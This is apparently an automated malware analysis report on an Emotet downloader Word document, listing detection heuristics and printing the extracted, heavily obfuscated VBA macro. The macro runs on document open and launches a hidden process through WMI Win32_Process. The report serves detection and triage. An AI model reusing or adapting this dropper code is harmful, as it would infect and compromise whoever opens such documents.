Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c98b10dd0c1f3c8f…

MALICIOUS

Office (OLE)

156.1 KB Created: 2020-10-20 00:15:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: 05545230a2616019290f7e837b22babe SHA-1: 7893dc9394e6b90c757ecefcd6d73468e1536f8d SHA-256: c98b10dd0c1f3c8f5f8021a58fe80717e1b31b1cd2e86ca536e828b1a2ff3e91
172 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9780400-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9780400-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Cqijivec554 = CreateObject(N49sof9zdjlacgy)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15562 bytes
SHA-256: 25e62b94d2c44e79a66c1ad7fc091b566e34de7d7087076919a557adbb94db76
Detection
ClamAV: No threats found
Obfuscation or payload: likely
234 of 360 identifiers look randomly generated (e.g. 'E267vyqgm42drn0j8y') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Dr4t6t3bedand"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
D8hoiyfdf_u_s92f.Aa_gzzl9g89xj4b
End Sub

Attribute VB_Name = "Z_k38c8j0qy2f"
Function V46ig773gth(Joot397brm7v1)
On Error Resume Next
   Do While Sugx_08bkqq Xor Wq6620t7eibr
For Each J_vew6bzoa8_w1 In Yzfp1t5szwzfgo8rsz
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While P0l8zwpqrp97 < Gv9qcx20ur7
hehh7839 = Sqr(535)
If Xz6krupkqd_w3r4 Or Bmd31u8vrro79 Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Bsqo39uga6tv > Ewlyw5q7ioe4m4j4
lBr = Int(4)
Wend
Wend
V46ig773gth = Join(Joot397brm7v1, J9rgp70ej638zqxo)
   Do While Fos68ho74j2qsmtj Xor Lw8bt7e4m99p9_cb23
For Each Mpt81jrxgjsux In U_qnwzsnbvkrq7kz
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Uui3r9zh4ci9t5 < H4f_xyfd4en9x
hehh7839 = Sqr(535)
If Uvms61ao6lc2 Or Uwjqs28fy2lb Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Qqpydac0_s7qyen8 > W97smrty7g2de6bqed
lBr = Int(4)
Wend
Wend
End Function
Function Cqijivec554(N49sof9zdjlacgy)
On Error Resume Next
   Do While Uvch_imn9st_kw2l0i Xor Z03w3lhjfbqzg1x
For Each F7uyx69v6wz2 In Ltq1el9b0l84_hms4m
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Qnuppv8ebg3fw < Hzsa0cpzgivy7x
hehh7839 = Sqr(535)
If Pdbjpdv7ebfih87h Or Hmys5r6k60hl Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Tzjrqc18gm24n055i > Iapnt0f3wh0vfoukk
lBr = Int(4)
Wend
Wend
Set Cqijivec554 = CreateObject(N49sof9zdjlacgy)
   Do While W8kyo4n_lt4vq Xor Vywf7o4iewk7n
For Each Jqxi6_i4cgdsf In W22p_9ks75ddrx3
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Ktqax77v2rfavpbo < Gnn767qc6u5e
hehh7839 = Sqr(535)
If Nvbo4ucf8_7gzt3k8 Or T17ijo4ux_04lb Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Z0u_hxrldmns1f > R39ccp7kmxwi9
lBr = Int(4)
Wend
Wend
End Function
Function S3h9d_1lze1hor(Fas91mv7p1tm9)
On Error Resume Next
   Do While Vx3ajq6zx8_0eq1 Xor Wyiie_s6zxah
For Each Zj4wdu8s80i In H47rud3c7j3hso6f8
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Qqyzxygmb84x0 < Zp5gxoeuiff1swdz
hehh7839 = Sqr(535)
If Uwul4fvfhkhb7jik Or Gdvzsthditu Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Evjniabpngjiapd9sm > Xqpn_eajcmivxbib1
lBr = Int(4)
Wend
Wend
S3h9d_1lze1hor = Split(Fas91mv7p1tm9, "=888")
   Do While Mqsh5uqie6zcj5ga Xor Ya8dq6vm0t8w5bd7mm
For Each Ds1g60yrrv55 In Zq5jwvav876buwl
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Pg8r97qh6bf3nd3fz < Qnh6k3lyiw6flm
hehh7839 = Sqr(535)
If R8o8mveawpvpi Or Vd1mg_9w28fg Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Q5mz14p1hnin4 > Jvpzmdrotf4fnqb
lBr = Int(4)
Wend
Wend
End Function

Attribute VB_Name = "D8hoiyfdf_u_s92f"
Attribute VB_Base = "0{0C17C793-CF72-4928-AE97-91797019D043}{EF1089CD-D748-4E5F-AF9F-5A54AF8FFBD2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Aa_gzzl9g89xj4b()
On Error Resume Next
   Do While Qrlfjj1bwb15s Xor Rfqms1kkt1r
For Each B2t3uzv1bfi In Cibx8gf_11o20q
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Kam9vzhh_s6saj3 < N9_ikyyonvrmnm45ee
hehh7839 = Sqr(535)
If S1ix38acecze Or Y274_hk1n9uah66xz Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While J8bcjlkhljw > Izq1owr_585rn4y
lBr = Int(4)
Wend
Wend
Opagrrb4uscf73huy = E_9mutnyaau08w7ikk + "=888ro=888=888ce=888s=888s=888" + H44d0k0_ew_6n
   Do While Ucdu9k166feg Xor Y7fw991krnr
For Each Ciifqkhgj6vu1f8oru In Wld_w8o6p48
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Swv6bszo79a3d < P84bm59lwy_jx
hehh7839 = Sqr(535)
If Bp3nnt70el67 Or Dg0lm8lkscorcno_9 Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While U7qmrfypuoy3sgrc3 > Qmynl0unn8kf
lBr = Int(4)
Wend
Wend
Pwlyjc_kgb2xy0 = E6idm_2wfkk + "=888=888:=888w=888in=888=8883=8882=888_=888" + H99dxh5fxhn
   Do While Gwxkyq4bvb840a9 Xor Nfuix4s7qpgh
For Each Iw765xc93qa096449b In Jyjamb9qe26jj
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Cjpa0en7j31tkz9 < Csn55kcwt48h0g8g
hehh7839 = Sqr(535)
If I6wn3_9_sprl43isp Or J7p44g4rgig8c6t3 Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Wmllsq6l7wl2byztsu > Iubpuk5z4vmw3
lBr = Int(4)
Wend
Wend
Fas91mv7p1tm9 = Zbwujbafg712xf0kuz + "=888=888w=888i=888nm=888=888gm=888t=888=888" + N58_bca_4biq0rme
   Do While Huvquimmg1u2nw0a9 Xor Y_qwoylzezraw
For Each O4z_f32lc5ueim3i In O37ohlzg8e6
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Q7fe5hv906f < Q8wcjq_98v8i2mm
hehh7839 = Sqr(535)
If Z5ix7ip9oaoehk Or Swn3kzx8rf9h Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Y9ns7d9fwsx > Mzzjc62wphxnub
lBr = Int(4)
Wend
Wend
L84ng8flz_u8kb_p = D8hoiyfdf_u_s92f.Sk0nus2qp4wo9.Pages(1).Caption
   Do While Kjnh2pzigx0q423id Xor Zxm2ajzvmiw
For Each J2uuh0s500rqc_hf5 In Q8pwhwpyiesfcq
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Jki7jt52jdbf7zbb < T6v1n2t0eu1nm48
hehh7839 = Sqr(535)
If Vz1_kv05gft Or Lu_hc0oh78at Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Ye_dn9kffc_mbjg7 > Ohinsvvtknozf8yg
lBr = Int(4)
Wend
Wend
B87pnsgt_orq = Fas91mv7p1tm9 + L84ng8flz_u8kb_p + Pwlyjc_kgb2xy0 + D8hoiyfdf_u_s92f.Yvt9lrjv_9pq5k9_ + Opagrrb4uscf73huy
   Do While N66088vg2yl Xor Ilx1j4tpex5lajr
For Each Y472eaxsl4_4m6_mz In W309a8w978au9yq4
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Y3urlzfpr42d < Qswjoz5a4_fge
hehh7839 = Sqr(535)
If M26mnuwbuekud5tu Or W6vjs9zj20h Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Upkg9xywrnty > Yr_6v_sj7jlur_5
lBr = Int(4)
Wend
Wend
Qrmxatorbjl9 = Q8bdj0duzpzw(B87pnsgt_orq)
   Do While Mzqxz_6ua2zta Xor H2nx_pzz91fcwzp
For Each Ayjs9zlmu1li_23lw3 In Zw_5ay431rxngea1aj
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Pwqbdjdr1g05r61 < Ja6j5e8w69nfd_
hehh7839 = Sqr(535)
If Tbdfnuv8u8h Or O2yfsq1w1fa Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Mz6hf70o1gh4ozn7 > Dknxbm6h36zonlwbn
lBr = Int(4)
Wend
Wend
Set Zy7kxpx2yckrh = CreateObject(Qrmxatorbjl9)
   Do While Klimznoyy4bt0e33o Xor Kijij3o1zn_yq4f6
For Each S5nsc_02bxpmh In Hi9gssfcq9_z
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Ramind3c0bf < Fkshe_osfzptx
hehh7839 = Sqr(535)
If Ihynpso_k1zpcipg Or F36kiy6l0wg6_ Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Vwz3vpvwx9j_3t1 > Dc_nh34oeu4cr8hele
lBr = Int(4)
Wend
Wend
Wetoueok96qhdywe6 = CVar(Dr4t6t3bedand.Sections(129 - 128))
   Do While U0c55firof8uixys Xor Xy_3p993nebzky709
For Each Zr7ndofi2qlq649zg In S0naebrag3esawl
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Ra8tvwxghrr8ki3vs < G0s0n58chneiq
hehh7839 = Sqr(535)
If Dce94xaelg4xvu20 Or O_1nmk2xcxt Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Gc0b23he637ley > D2jmlinvi1m54
lBr = Int(4)
Wend
Wend
Joot397brm7v1 = Khmekf6phgqsj + Qrmxatorbjl9 + L84ng8flz_u8kb_p + D8hoiyfdf_u_s92f.Zsw8m177fb3qv_8 + D8hoiyfdf_u_s92f.Fojl8ocz0145uk1gkd
   Do While J9yktgxdjp5ddw2jv Xor C3k3o3o3yzxal5w0g
For Each Ft8ouh7a2zl In B61kbbrwt872s0r
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While C_sepxbc8zid7 < A1qcw3kb4urvv
hehh7839 = Sqr(535)
If Qf8v1x92hggq4 Or Jn4o1f7gkqm10bg9 Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Wb2p24xnjqktk8g0 > Rq2d6ppr7rjay7uj
lBr = Int(4)
Wend
Wend
Set Stfojionp888g4qk = Vjoataqo1dg7y8tsrm(Joot397brm7v1 + D8hoiyfdf_u_s92f.Yvt9lrjv_9pq5k9_)
   Do While Ym32m2i3y6f Xor Jj0o50m6wrw9scbolc
For Each B7h4jagbky5pu In Xrv0yqng0rr15ij
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Vqvueagr1oy9bh3b < Kvwqqyx9692
hehh7839 = Sqr(535)
If Ng93v5o6_p8ke Or H3qf2zpzpxxk Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While U9xjdqehh2frno > B_zmlhn6r1gb
lBr = Int(4)
Wend
Wend
D2f7igoid7a = Mid(Wetoueok96qhdywe6, 5, Len(Wetoueok96qhdywe6))
   Do While Tyhkm5ljg6gw9q3zw Xor Hrqs09ye5ybdj0s
For Each Qufgdg7yxqt In Ybuqzi8unj1k
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Faxicvhe54htqsew < Wtoqh4evpbc02o67t
hehh7839 = Sqr(535)
If Eipv6lcdim9j130voh Or Eahtyyufgcony8w0n Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Hydodv4yfll_g > Qam60138kg8a50jne5
lBr = Int(4)
Wend
Wend
   Do While U8x1f6l787w2cm Xor Yswpa5zz4_mv29lx
For Each Z4ztlf_nibpehx0__ In Xwg3udi624jv
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Oi53kyixnwc43kvwmo < T3pawhivlrphexd
hehh7839 = Sqr(535)
If Wo7zm3tu_e_35yjop Or Vffihubc8g9p0fyq Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Fqzk_j6asir3yhb3 > V0zxgmxj6nxvg5
lBr = Int(4)
Wend
Wend
Zy7kxpx2yckrh.Create Q8bdj0duzpzw(D2f7igoid7a), P0u6ccburiche9q, Stfojionp888g4qk
   Do While Nox8a4ym1ac2o0i9 Xor U4vomznwvf_ctss
For Each Q7_24fkp2kal1ca In Abv9nkgzkkqyyjgtv
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Tdjg3xsfxbyb < Meebs8vgnzkqt1x2rd
hehh7839 = Sqr(535)
If Tsm9w6k0phxfbio Or Nuhzwaboo02i87pg0g Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Kghthh0f01ujh > Uehko71q9tx
lBr = Int(4)
Wend
Wend
   Do While O883uvwvnbuye8m2i7 Xor Mmj_e_bxybzv0_
For Each Oja6xy349drdcnurys In Fvl933t09uyrvzfnc
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Jj31um7y8_jdubce < Jilide15ijx7p8as2
hehh7839 = Sqr(535)
If Gcrb0be7tz5_w Or L83e3skeb7lcj3 Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Cjw535blmjjehv > Zjyiqse71j_
lBr = Int(4)
Wend
Wend
End Function
Function Vjoataqo1dg7y8tsrm(At33vxylg1ia40gp)
On Error Resume Next
   Do While W8v_1zr4apsc Xor Pc7o74sbwjpqd
For Each Pmkcjmyz6eaa98y2ox In Ms24yb8thjxfuw2
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While L2ni1y8i2n77vn764 < Qq7uxan4rph_rogaia
hehh7839 = Sqr(535)
If K34vtbkga95 Or Unv_la8dm78hsa Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Xrzvf75ng56nsm6m7 > Apx7p7am8zt6wdsk
lBr = Int(4)
Wend
Wend
Set Vjoataqo1dg7y8tsrm = Z_k38c8j0qy2f.Cqijivec554(Gkax8mmtizbv67vru + At33vxylg1ia40gp + Qrowkcj51ebcb90)
   Do While Q8foxt56t6f Xor Yz4f5mtuw9e
For Each N3oh7685tfe9du In Mzd_wsol2u4k7rj
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While S3x67fx_z9lv5v < Bk5c7s9tafryxdvbnj
hehh7839 = Sqr(535)
If Kfqzxlcelzg4sfz2 Or Bon03jxzps_8e80leg Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Pwg25ox65n0s0nv0 > X2x75_i5chh4isn_0e
lBr = Int(4)
Wend
Wend
Vjoataqo1dg7y8tsrm _
.showwindow@ = Word.xlWhiteSmoke - Word.xlWhiteSmoke
   Do While I3024n1mgr6 Xor Bln61dhcn30fd1
For Each Uho4xc78pevt53e In E0m_nlas_3n3u55xd
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Yf3zhofp02funki04 < T2grh7461env
hehh7839 = Sqr(535)
If Yq_6_br2959nk Or Lodtwbx7nyq07 Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Jzbcnqhdnqi8lq58ie > Nnrxv2uycdmobfvoi4
lBr = Int(4)
Wend
Wend
End Function
Function Q8bdj0duzpzw(Lw3u4zl9wdc)
On Error Resume Next
   Do While Elvhccm_vd00fqm Xor F0btqchj0md
For Each Eah91tp439akz In Kgd7kvl45a2rcd
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Ii2__5u7ajx < Nlk026_yagd
hehh7839 = Sqr(535)
If Nbnhghjrlyq Or Hlzx7kcxyt3rtcaw Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Ldfezr9qm15 > E267vyqgm42drn0j8y
lBr = Int(4)
Wend
Wend
Muo2dlo71d83frwa = (Lw3u4zl9wdc)
   Do While Sxhwiij9jldw6_vk Xor Yxb0l9bwogg4qmmk
For Each Wafgxblc5lmtogkvgh In G3o1fa5ccf4_2m8e
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While Cslv17sx1d__8ik < Qagrkag4_j9b
hehh7839 = Sqr(535)
If Pgsczqy8eu88d Or X6dg8t6el2ykem Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Pr0rle8s8h3xisr > Ohuj08catrq63
lBr = Int(4)
Wend
Wend
Bncs4o61jysdo = Z_k38c8j0qy2f.S3h9d_1lze1hor(Muo2dlo71d83frwa)
   Do While Alll4k44y_s0x0xyh Xor P3yqeaym4_0lcl_7
For Each Khrxacg2mwr In H0c7fadfvglyqr5
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While J9g039hr2cv1r14pg < Na8q8l81qi84htim
hehh7839 = Sqr(535)
If Kpt5m2wfdpnz7o Or Mz0408a7cbs_u97crf Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While J_y9gkkk57tbv > Amsvqorotq363bihn
lBr = Int(4)
Wend
Wend
Mr549gm3lnog13oa84 = Z_k38c8j0qy2f.V46ig773gth(Bncs4o61jysdo)
   Do While V7741bqwxqaquwt Xor N7lrdz1eb_49knn72q
For Each Q3zl3x8cm7jlvabjc In Atfg231itljcf
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While C47f5ut5gwni3zh9 < Dlu18yra9wte
hehh7839 = Sqr(535)
If Vj2uh4e8pt3gnt4 Or Zabwcf3vahfpe8 Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Z1v4esisp4nz43tuey > Yvsstysfu_xz3tu
lBr = Int(4)
Wend
Wend
Q8bdj0duzpzw = Mr549gm3lnog13oa84
   Do While Eki3xbyda6zfj24 Xor Xy3b4lwsi7e_wg
For Each Enxb15_197cc In Ay_3uzp9gf3
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
xzEjy6Y = CLng(SJWOzs8XF)
Next
SrPP = Hex(omv)
SrPP = Hex(omv)
Loop
While R2t39zs5yt3xzdu995 < Sjvsu8np83j_
hehh7839 = Sqr(535)
If Wgbdq0agvinr Or Icqer_n0bxci06vjvc Then
lhDc4S6y = CDbl(BUvR8559j)
End If
nFf = Hex(2213)
While Ou3tcrr_4afaha > Ok_4kkwj5t06rep9
lBr = Int(4)
Wend
Wend
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.